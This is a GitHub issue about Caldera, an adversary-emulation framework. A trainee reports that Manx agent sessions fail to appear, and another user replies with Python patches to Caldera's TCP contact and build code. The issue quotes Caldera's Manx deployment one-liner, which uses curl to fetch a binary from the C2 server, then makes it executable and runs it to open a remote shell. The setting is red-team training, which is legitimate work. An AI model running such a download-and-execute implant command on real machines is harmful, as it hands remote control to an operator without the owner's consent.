Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unable to see Manx session #3072

Open
gowthamnesamani opened this issue Oct 12, 2024 · 4 comments
Open

Unable to see Manx session #3072

gowthamnesamani opened this issue Oct 12, 2024 · 4 comments
Labels

Comments

@gowthamnesamani
Copy link

Hi,

When I was doing the user training in caldera, I faced issue while trying the manx related flag.

After pasting the manx sh tcp command in the calder server, I can see the agent entry under agents tab but unable to see the host under session also getting error "Error refreshing Manx"

Manx Command:
server="http://127.0.0.1:8888";socket="127.0.0.1:7010";contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > super_scary;chmod +x super_scary;./super_scary -http $server -socket $socket -contact $contact -v

caldera 2
caldera 3
caldera1

Copy link

Looks like your first issue -- we aim to respond to issues as quickly as possible. In the meantime, check out our documentation here: http://caldera.readthedocs.io/

@gowthamnesamani
Copy link
Author

Nothing found related to my issue here: "http://caldera.readthedocs.io/"

@gowthamnesamani
Copy link
Author

Hello, any update ?

@corradoproietti
Copy link

corradoproietti commented Nov 6, 2024

I just found a workaround to let caldera correctly compile the executable adding env['GOCACHE'] = "/tmp" <path_to_caldera/app/service/file_svc.py> starting from line 153 (probably not related with the issue itself but solved some compilation warnings):

        env = copy.copy(os.environ)
        env['GOARCH'] = arch
        env['GOOS'] = platform
        env['GOCACHE'] = "/tmp"
        if cflags:
            for cflag in cflags.split(' '):
                name, value = cflag.split('=')

After that just add/edit the following lines on <path_to_caldera/app/contacts/contact_tcp.py> because the send() method was incorrectly called on TransportSocket rather than in the underlying Socket:

  1. From line 88:
            conn = next(i.connection for i in self.sessions if i.id == int(session_id))
            conn = conn._sock
            conn.send(str.encode(' '))
  1. From line 62:
            try:
                session.connection._sock.send(str.encode(' '))
            except socket.error:

Hope this helps.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants